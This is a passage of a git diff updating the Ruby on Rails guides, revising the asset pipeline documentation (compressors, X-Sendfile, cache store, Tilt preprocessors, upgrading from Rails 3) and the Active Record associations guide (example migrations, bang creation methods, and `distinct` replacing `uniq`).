+don't have to ever manually invalidate any items in your cache. By using a
+different unique asset name instead, your users get the latest asset.
Customizing the Pipeline
------------------------
### CSS Compression
-There is currently one option for compressing CSS, YUI. The [YUI CSS compressor](http://developer.yahoo.com/yui/compressor/css.html) provides minification.
+One of the options for compressing CSS is YUI. The [YUI CSS
+compressor](http://yui.github.io/yuicompressor/css.html) provides
+minification.
-The following line enables YUI compression, and requires the `yui-compressor` gem.
+The following line enables YUI compression, and requires the `yui-compressor`
+gem.
```ruby
config.assets.css_compressor = :yui
```
+The other option for compressing CSS if you have the sass-rails gem installed is
-The `config.assets.compress` must be set to `true` to enable CSS compression.
+```ruby
+config.assets.css_compressor = :sass
+```
### JavaScript Compression
-Possible options for JavaScript compression are `:closure`, `:uglifier` and `:yui`. These require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems, respectively.
+Possible options for JavaScript compression are `:closure`, `:uglifier` and
+`:yui`. These require the use of the `closure-compiler`, `uglifier` or
+`yui-compressor` gems, respectively.
-The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). This gem wraps [UglifierJS](https://github.com/mishoo/UglifyJS) (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your `if` and `else` statements to ternary operators where possible.
+The default Gemfile includes [uglifier](https://github.com/lautis/uglifier).
+This gem wraps [UglifyJS](https://github.com/mishoo/UglifyJS) (written for
+NodeJS) in Ruby. It compresses your code by removing white space and comments,
+shortening local variable names, and performing other micro-optimizations such
+as changing `if` and `else` statements to ternary operators where possible.
The following line invokes `uglifier` for JavaScript compression.
@@ -628,13 +1155,21 @@ The following line invokes `uglifier` for JavaScript compression.
config.assets.js_compressor = :uglifier
```
-Note that `config.assets.compress` must be set to `true` to enable JavaScript compression
+NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme)
+supported runtime in order to use `uglifier`. If you are using Mac OS X or
+Windows you have a JavaScript runtime installed in your operating system.
-NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the [ExecJS](https://github.com/sstephenson/execjs#readme) documentation for information on all of the supported JavaScript runtimes.
+NOTE: The `config.assets.compress` initialization option is no longer used in
+Rails 4 to enable either CSS or JavaScript compression. Setting it will have no
+effect on the application. Instead, setting `config.assets.css_compressor` and
+`config.assets.js_compressor` will control compression of CSS and JavaScript
+assets.
### Using Your Own Compressor
-The compressor config settings for CSS and JavaScript also take any object. This object must have a `compress` method that takes a string as the sole argument and it must return a string.
+The compressor config settings for CSS and JavaScript also take any object.
+This object must have a `compress` method that takes a string as the sole
+argument and it must return a string.
```ruby
class Transformer
@@ -644,7 +1179,7 @@ class Transformer
end
```
-To enable this, pass a `new` object to the config option in `application.rb`:
+To enable this, pass a new object to the config option in `application.rb`:
```ruby
config.assets.css_compressor = Transformer.new
@@ -661,34 +1196,60 @@ This can be changed to something else:
config.assets.prefix = "/some_other_path"
```
-This is a handy option if you are updating an older project that didn't use the asset pipeline and that already uses this path or you wish to use this path for a new resource.
+This is a handy option if you are updating an older project that didn't use the
+asset pipeline and already uses this path or you wish to use this path for
+a new resource.
### X-Sendfile Headers
-The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster.
+The X-Sendfile header is a directive to the web server to ignore the response
+from the application, and instead serve a specified file from disk. This option
+is off by default, but can be enabled if your server supports it. When enabled,
+this passes responsibility for serving the file to the web server, which is
+faster. Have a look at [send_file](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file)
+on how to use this feature.
-Apache and nginx support this option, which can be enabled in `config/environments/production.rb`.
+Apache and NGINX support this option, which can be enabled in
+`config/environments/production.rb`:
```ruby
-# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
-# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache
+# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
```
-WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into `production.rb` and any other environments you define with production behavior (not `application.rb`).
+WARNING: If you are upgrading an existing application and intend to use this
+option, take care to paste this configuration option only into `production.rb`
+and any other environments you define with production behavior (not
+`application.rb`).
+
+TIP: For further details have a look at the docs of your production web server:
+- [Apache](https://tn123.org/mod_xsendfile/)
+- [NGINX](http://wiki.nginx.org/XSendfile)
Assets Cache Store
------------------
-The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting `config.assets.cache_store`.
+The default Rails cache store will be used by Sprockets to cache assets in
+development and production. This can be changed by setting
+`config.assets.cache_store`:
```ruby
config.assets.cache_store = :memory_store
```
-The options accepted by the assets cache store are the same as the application's cache store.
+The options accepted by the assets cache store are the same as the application's
+cache store.
+
+```ruby
+config.assets.cache_store = :memory_store, { size: 32.megabytes }
+```
+
+To disable the assets cache store:
```ruby
-config.assets.cache_store = :memory_store, { :size => 32.megabytes }
+config.assets.configure do |env|
+ env.cache = ActiveSupport::Cache.lookup_store(:null_store)
+end
```
Adding Assets to Your Gems
@@ -696,41 +1257,74 @@ Adding Assets to Your Gems
Assets can also come from external sources in the form of gems.
-A good example of this is the `jquery-rails` gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from `Rails::Engine`. By doing this, Rails is informed that the directory for this gem may contain assets and the `app/assets`, `lib/assets` and `vendor/assets` directories of this engine are added to the search path of Sprockets.
+A good example of this is the `jquery-rails` gem which comes with Rails as the
+standard JavaScript library gem. This gem contains an engine class which
+inherits from `Rails::Engine`. By doing this, Rails is informed that the
+directory for this gem may contain assets and the `app/assets`, `lib/assets` and
+`vendor/assets` directories of this engine are added to the search path of
+Sprockets.
Making Your Library or Gem a Pre-Processor
------------------------------------------
-TODO: Registering gems on [Tilt](https://github.com/rtomayko/tilt) enabling Sprockets to find them.
+As Sprockets uses [Tilt](https://github.com/rtomayko/tilt) as a generic
+interface to different templating engines, your gem should just implement the
+Tilt template protocol. Normally, you would subclass `Tilt::Template` and
+reimplement the `prepare` method, which initializes your template, and the
+`evaluate` method, which returns the processed source. The original source is
+stored in `data`. Have a look at
+[`Tilt::Template`](https://github.com/rtomayko/tilt/blob/master/lib/tilt/template.rb)
+sources to learn more.
+
+```ruby
+module BangBang
+ class Template < ::Tilt::Template
+ def prepare
+ # Do any initialization here
+ end
+
+ # Adds a "!" to original template.
+ def evaluate(scope, locals, &block)
+ "#{data}!"
+ end
+ end
+end
+```
+
+Now that you have a `Template` class, it's time to associate it with an
+extension for template files:
+
+```ruby
+Sprockets.register_engine '.bang', BangBang::Template
+```
Upgrading from Old Versions of Rails
------------------------------------
-There are a few issues when upgrading. The first is moving the files from `public/` to the new locations. See [Asset Organization](#asset-organization) above for guidance on the correct locations for different file types.
+There are a few issues when upgrading from Rails 3.0 or Rails 2.x. The first is
+moving the files from `public/` to the new locations. See [Asset
+Organization](#asset-organization) above for guidance on the correct locations
+for different file types.
-Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` into `app/assets` and it will be included automatically.
+Next will be avoiding duplicate JavaScript files. Since jQuery is the default
+JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js`
+into `app/assets` and it will be included automatically.
-The third is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0.
+The third is updating the various environment files with the correct default
+options.
In `application.rb`:
```ruby
-# Enable the asset pipeline
-config.assets.enabled = true
-
# Version of your assets, change this if you want to expire all your assets
config.assets.version = '1.0'
-# Change the path that assets are served from
-# config.assets.prefix = "/assets"
+# Change the path that assets are served from config.assets.prefix = "/assets"
```
In `development.rb`:
```ruby
-# Do not compress assets
-config.assets.compress = false
-
# Expands the lines which load the assets
config.assets.debug = true
```
@@ -738,52 +1332,28 @@ config.assets.debug = true
And in `production.rb`:
```ruby
-# Compress JavaScripts and CSS
-config.assets.compress = true
-
-# Choose the compressors to use
-# config.assets.js_compressor = :uglifier
-# config.assets.css_compressor = :yui
+# Choose the compressors to use (if any) config.assets.js_compressor =
+# :uglifier config.assets.css_compressor = :yui
# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false
-# Generate digests for assets URLs.
+# Generate digests for assets URLs. This is planned for deprecation.
config.assets.digest = true
-# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
-# config.assets.precompile += %w( search.js )
+# Precompile additional assets (application.js, application.css, and all
+# non-JS/CSS are already added) config.assets.precompile += %w( search.js )
```
-You should not need to change `test.rb`. The defaults in the test environment are: `config.assets.compile` is true and `config.assets.compress`, `config.assets.debug` and `config.assets.digest` are false.
+Rails 4 no longer sets default config values for Sprockets in `test.rb`, so
+`test.rb` now requires Sprockets configuration. The old defaults in the test
+environment are: `config.assets.compile = true`, `config.assets.compress = false`,
+`config.assets.debug = false` and `config.assets.digest = false`.
The following should also be added to `Gemfile`:
```ruby
-# Gems used only for assets and not required
-# in production environments by default.
-group :assets do
- gem 'sass-rails', "~> 3.2.3"
- gem 'coffee-rails', "~> 3.2.1"
- gem 'uglifier'
-end
-```
-
-If you use the `assets` group with Bundler, please make sure that your `config/application.rb` has the following Bundler require statement:
-
-```ruby
-if defined?(Bundler)
- # If you precompile assets before deploying to production, use this line
- Bundler.require *Rails.groups(:assets => %w(development test))
- # If you want your assets lazily compiled in production, use this line
- # Bundler.require(:default, :assets, Rails.env)
-end
-```
-
-Instead of the old Rails 3.0 version:
-
-```ruby
-# If you have a Gemfile, require the gems listed there, including any gems
-# you've limited to :test, :development, or :production.
-Bundler.require(:default, Rails.env) if defined?(Bundler)
+gem 'sass-rails', "~> 3.2.3"
+gem 'coffee-rails', "~> 3.2.1"
+gem 'uglifier'
```
diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md
index 95adb4ff0a..a12f5638e3 100644
--- a/guides/source/association_basics.md
+++ b/guides/source/association_basics.md
@@ -40,7 +40,7 @@ end
@customer.destroy
```
-With Active Record associations, we can streamline these — and other — operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
+With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
```ruby
class Customer < ActiveRecord::Base
@@ -69,7 +69,7 @@ To learn more about the different types of associations, read the next section o
The Types of Associations
-------------------------
-In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
+In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
* `belongs_to`
* `has_one`
@@ -94,6 +94,25 @@ end
NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `customer` association in the `Order` model, you would be told that there was an "uninitialized constant Order::Customers". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too.
+The corresponding migration might look like this:
+
+```ruby
+class CreateOrders < ActiveRecord::Migration
+ def change
+ create_table :customers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :orders do |t|
+ t.belongs_to :customer, index: true
+ t.datetime :order_date
+ t.timestamps
+ end
+ end
+end
+```
+
### The `has_one` Association
A `has_one` association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
@@ -106,6 +125,25 @@ end
![has_one Association Diagram](images/has_one.png)
+The corresponding migration might look like this:
+
+```ruby
+class CreateSuppliers < ActiveRecord::Migration
+ def change
+ create_table :suppliers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :accounts do |t|
+ t.belongs_to :supplier, index: true
+ t.string :account_number
+ t.timestamps
+ end
+ end
+end
+```
+
### The `has_many` Association
A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
@@ -120,6 +158,25 @@ NOTE: The name of the other model is pluralized when declaring a `has_many` asso
![has_many Association Diagram](images/has_many.png)
+The corresponding migration might look like this:
+
+```ruby
+class CreateCustomers < ActiveRecord::Migration
+ def change
+ create_table :customers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :orders do |t|
+ t.belongs_to :customer, index:true
+ t.datetime :order_date
+ t.timestamps
+ end
+ end
+end
+```
+
### The `has_many :through` Association
A `has_many :through` association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
@@ -143,6 +200,31 @@ end
![has_many :through Association Diagram](images/has_many_through.png)
+The corresponding migration might look like this:
+
+```ruby
+class CreateAppointments < ActiveRecord::Migration
+ def change
+ create_table :physicians do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :patients do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :appointments do |t|
+ t.belongs_to :physician, index: true
+ t.belongs_to :patient, index: true
+ t.datetime :appointment_date
+ t.timestamps
+ end
+ end
+end
+```
+
The collection of join models can be managed via the API. For example, if you assign
```ruby
@@ -179,7 +261,10 @@ With `through: :sections` specified, Rails will now understand:
### The `has_one :through` Association
-A `has_one :through` association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
+A `has_one :through` association sets up a one-to-one connection with another model. This association indicates
+that the declaring model can be matched with one instance of another model by proceeding _through_ a third model.
+For example, if each supplier has one account, and each account is associated with one account history, then the
+supplier model could look like this:
```ruby
class Supplier < ActiveRecord::Base
@@ -199,6 +284,31 @@ end
![has_one :through Association Diagram](images/has_one_through.png)
+The corresponding migration might look like this:
+
+```ruby
+class CreateAccountHistories < ActiveRecord::Migration
+ def change
+ create_table :suppliers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :accounts do |t|
+ t.belongs_to :supplier, index: true
+ t.string :account_number
+ t.timestamps
+ end
+
+ create_table :account_histories do |t|
+ t.belongs_to :account, index: true
+ t.integer :credit_rating
+ t.timestamps
+ end
+ end
+end
+```
+
### The `has_and_belongs_to_many` Association
A `has_and_belongs_to_many` association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
@@ -215,6 +325,29 @@ end
![has_and_belongs_to_many Association Diagram](images/habtm.png)
+The corresponding migration might look like this:
+
+```ruby
+class CreateAssembliesAndParts < ActiveRecord::Migration
+ def change
+ create_table :assemblies do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :parts do |t|
+ t.string :part_number
+ t.timestamps
+ end
+
+ create_table :assemblies_parts, id: false do |t|
+ t.belongs_to :assembly, index: true
+ t.belongs_to :part, index: true
+ end
+ end
+end
+```
+
### Choosing Between `belongs_to` and `has_one`
If you want to set up a one-to-one relationship between two models, you'll need to add `belongs_to` to one, and `has_one` to the other. How do you know which is which?
@@ -246,6 +379,8 @@ class CreateSuppliers < ActiveRecord::Migration
t.string :account_number
t.timestamps
end
+
+ add_index :accounts, :supplier_id
end
end
```
@@ -322,6 +457,8 @@ class CreatePictures < ActiveRecord::Migration
t.string :imageable_type
t.timestamps
end
+
+ add_index :pictures, :imageable_id
end
end
```
@@ -333,7 +470,7 @@ class CreatePictures < ActiveRecord::Migration
def change
create_table :pictures do |t|
t.string :name
- t.references :imageable, polymorphic: true
+ t.references :imageable, polymorphic: true, index: true
t.timestamps
end
end
@@ -357,6 +494,19 @@ end
With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`.
+In your migrations/schema, you will add a references column to the model itself.
+
+```ruby
+class CreateEmployees < ActiveRecord::Migration
+ def change
+ create_table :employees do |t|
+ t.references :manager, index: true
+ t.timestamps
+ end
+ end
+end
+```
+
Tips, Tricks, and Warnings
--------------------------
@@ -415,6 +565,8 @@ class CreateOrders < ActiveRecord::Migration
t.string :order_number
t.integer :customer_id
end
+
+ add_index :orders, :customer_id
end
end
```
@@ -425,7 +577,7 @@ If you create an association some time after you build the underlying model, you
If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
-WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper\_boxes" and "papers" to generate a join table name of "papers\_paper\_boxes" because of the length of the name "paper\_boxes", but it in fact generates a join table name of "paper\_boxes\_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings).
+WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings).
Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
@@ -442,12 +594,15 @@ end
These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key:
```ruby
-class CreateAssemblyPartJoinTable < ActiveRecord::Migration
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration
def change
create_table :assemblies_parts, id: false do |t|
t.integer :assembly_id
t.integer :part_id
end
+
+ add_index :assemblies_parts, :assembly_id
+ add_index :assemblies_parts, :part_id
end
end
```
@@ -563,6 +718,17 @@ There are a few limitations to `inverse_of` support:
* They do not work with `:as` associations.
* For `belongs_to` associations, `has_many` inverse associations are ignored.
+Every association will attempt to automatically find the inverse association
+and set the `:inverse_of` option heuristically (based on the association name).
+Most associations with standard names will be supported. However, associations
+that contain the following options will not have their inverses set
+automatically:
+
+* :conditions
+* :through
+* :polymorphic
+* :foreign_key
+
Detailed Association Reference
------------------------------
@@ -574,12 +740,13 @@ The `belongs_to` association creates a one-to-one match with another model. In d
#### Methods Added by `belongs_to`
-When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association:
+When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association:
* `association(force_reload = false)`
* `association=(associate)`
* `build_association(attributes = {})`
* `create_association(attributes = {})`
+* `create_association!(attributes = {})`
In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration:
@@ -589,13 +756,14 @@ class Order < ActiveRecord::Base
end
```
-Each instance of the order model will have these methods:
+Each instance of the `Order` model will have these methods:
```ruby
customer
customer=
build_customer
create_customer
+create_customer!
```
NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
@@ -636,6 +804,10 @@ The `create_association` method returns a new object of the associated type. Thi
customer_name: "John Doe")
```
+##### `create_association!(attributes = {})`
+
+Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+
#### Options for `belongs_to`
@@ -714,8 +886,12 @@ end
Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`.
##### `:dependent`
+If you set the `:dependent` option to:
-If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method.
+* `:destroy`, when the object is destroyed, `destroy` will be called on its
+associated objects.
+* `:delete`, when the object is destroyed, all its associated objects will be
+deleted directly from the database without calling their `destroy` method.
WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database.
@@ -806,7 +982,7 @@ end
##### `includes`
-You can use the `includes` method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
```ruby
class LineItem < ActiveRecord::Base
@@ -872,12 +1048,13 @@ The `has_one` association creates a one-to-one match with another model. In data
#### Methods Added by `has_one`
-When you declare a `has_one` association, the declaring class automatically gains four methods related to the association:
+When you declare a `has_one` association, the declaring class automatically gains five methods related to the association:
* `association(force_reload = false)`
* `association=(associate)`
* `build_association(attributes = {})`
* `create_association(attributes = {})`
+* `create_association!(attributes = {})`
In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration:
@@ -894,6 +1071,7 @@ account
account=
build_account
create_account
+create_account!
```
NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
@@ -932,6 +1110,10 @@ The `create_association` method returns a new object of the associated type. Thi
@account = @supplier.create_account(terms: "Net 30")
```
+##### `create_association!(attributes = {})`
+
+Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+
#### Options for `has_one`
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
@@ -958,7 +1140,7 @@ The `has_one` association supports these options:
##### `:as`
-Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail [earlier in this guide](#polymorphic-associations).
##### `:autosave`
@@ -979,11 +1161,17 @@ end
Controls what happens to the associated object when its owner is destroyed:
* `:destroy` causes the associated object to also be destroyed
-* `:delete` causes the asssociated object to be deleted directly from the database (so callbacks will not execute)
+* `:delete` causes the associated object to be deleted directly from the database (so callbacks will not execute)
* `:nullify` causes the foreign key to be set to `NULL`. Callbacks are not executed.
* `:restrict_with_exception` causes an exception to be raised if there is an associated record
* `:restrict_with_error` causes an error to be added to the owner if there is an associated object
+It's necessary not to set or leave `:nullify` option for those associations
+that have `NOT NULL` database constraints. If you don't set `dependent` to
+destroy such associations you won't be able to change the associated object
+because initial associated object foreign key will be set to unallowed `NULL`
+value.
+
##### `:foreign_key`
By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
@@ -1024,7 +1212,7 @@ The `:source_type` option specifies the source association type for a `has_one :
##### `:through`
-The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>.
+The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail [earlier in this guide](#the-has-one-through-association).
##### `:validate`
@@ -1127,15 +1315,15 @@ The `has_many` association creates a one-to-many relationship with another model
#### Methods Added by `has_many`
-When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association:
+When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association:
* `collection(force_reload = false)`
* `collection<<(object, ...)`
* `collection.delete(object, ...)`
* `collection.destroy(object, ...)`
-* `collection=objects`
+* `collection=(objects)`
* `collection_singular_ids`
-* `collection_singular_ids=ids`
+* `collection_singular_ids=(ids)`
* `collection.clear`
* `collection.empty?`
* `collection.size`
@@ -1144,6 +1332,7 @@ When you declare a `has_many` association, the declaring class automatically gai
* `collection.exists?(...)`
* `collection.build(attributes = {}, ...)`
* `collection.create(attributes = {})`
+* `collection.create!(attributes = {})`
In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
@@ -1153,16 +1342,16 @@ class Customer < ActiveRecord::Base
end
```
-Each instance of the customer model will have these methods:
+Each instance of the `Customer` model will have these methods:
```ruby
orders(force_reload = false)
orders<<(object, ...)
orders.delete(object, ...)
orders.destroy(object, ...)
-orders=objects
+orders=(objects)
order_ids
-order_ids=ids
+order_ids=(ids)
orders.clear
orders.empty?
orders.size
@@ -1171,6 +1360,7 @@ orders.where(...)
orders.exists?(...)
orders.build(attributes = {}, ...)
orders.create(attributes = {})
+orders.create!(attributes = {})
```
##### `collection(force_reload = false)`
@@ -1209,7 +1399,7 @@ The `collection.destroy` method removes one or more objects from the collection
WARNING: Objects will _always_ be removed from the database, ignoring the `:dependent` option.
-##### `collection=objects`
+##### `collection=(objects)`
The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
@@ -1221,7 +1411,7 @@ The `collection_singular_ids` method returns an array of the ids of the objects
@order_ids = @customer.order_ids
```
-##### `collection_singular_ids=ids`
+##### `collection_singular_ids=(ids)`
The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
@@ -1286,6 +1476,10 @@ The `collection.create` method returns a new object of the associated type. This
order_number: "A12345")
```
+##### `collection.create!(attributes = {})`
+
+Does the same as `collection.create` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+
#### Options for `has_many`
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
@@ -1312,7 +1506,7 @@ The `has_many` association supports these options:
##### `:as`
-Setting the `:as` option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
+Setting the `:as` option indicates that this is a polymorphic association, as discussed [earlier in this guide](#polymorphic-associations).
##### `:autosave`
@@ -1333,13 +1527,11 @@ end
Controls what happens to the associated objects when their owner is destroyed:
* `:destroy` causes all the associated objects to also be destroyed
-* `:delete_all` causes all the asssociated objects to be deleted directly from the database (so callbacks will not execute)
+* `:delete_all` causes all the associated objects to be deleted directly from the database (so callbacks will not execute)
* `:nullify` causes the foreign keys to be set to `NULL`. Callbacks are not executed.
* `:restrict_with_exception` causes an exception to be raised if there are any associated records
* `:restrict_with_error` causes an error to be added to the owner if there are any associated objects
-NOTE: This option is ignored when you use the `:through` option on the association.
-
##### `:foreign_key`
By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
@@ -1370,6 +1562,20 @@ end
By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+Let's say that `users` table has `id` as the primary_key but it also has
+`guid` column. And the requirement is that `todos` table should hold
+`guid` column value and not `id` value. This can be achieved like this
+
+```ruby
+class User < ActiveRecord::Base
+ has_many :todos, primary_key: :guid
+end
+```
+
+Now if we execute `@user.todos.create` then `@todo` record will have
+`user_id` value as the `guid` value of `@user`.
+
+
##### `:source`
The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
@@ -1380,7 +1586,7 @@ The `:source_type` option specifies the source association type for a `has_many
##### `:through`
-The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>.
+The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed [earlier in this guide](#the-has-many-through-association).
##### `:validate`
@@ -1433,7 +1639,7 @@ If you use a hash-style `where` option, then record creation via this associatio
##### `extending`
-The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions).
##### `group`
@@ -1518,43 +1724,67 @@ The `select` method lets you override the SQL `SELECT` clause that is used to re
WARNING: If you specify your own `select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
-##### `uniq`
+##### `distinct`
-Use the `uniq` method to keep the collection free of duplicates. This is mostly useful together with the `:through` option.
+Use the `distinct` method to keep the collection free of duplicates. This is
+mostly useful together with the `:through` option.
```ruby
class Person < ActiveRecord::Base
has_many :readings
- has_many :posts, through: :readings
+ has_many :articles, through: :readings
end
person = Person.create(name: 'John')
-post = Post.create(name: 'a1')
-person.posts << post
-person.posts << post
-person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
-Reading.all.inspect # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
+article = Article.create(name: 'a1')
+person.articles << article
+person.articles << article
+person.articles.inspect # => [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">]
+Reading.all.inspect # => [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>]
```
-In the above case there are two readings and `person.posts` brings out both of them even though these records are pointing to the same post.
+In the above case there are two readings and `person.articles` brings out both of
+them even though these records are pointing to the same article.
-Now let's set `uniq`:
+Now let's set `distinct`:
```ruby
class Person
has_many :readings
- has_many :posts, -> { uniq }, through: :readings
+ has_many :articles, -> { distinct }, through: :readings
end
person = Person.create(name: 'Honda')
-post = Post.create(name: 'a1')
-person.posts << post
-person.posts << post
-person.posts.inspect # => [#<Post id: 7, name: "a1">]
-Reading.all.inspect # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
+article = Article.create(name: 'a1')
+person.articles << article
+person.articles << article
+person.articles.inspect # => [#<Article id: 7, name: "a1">]
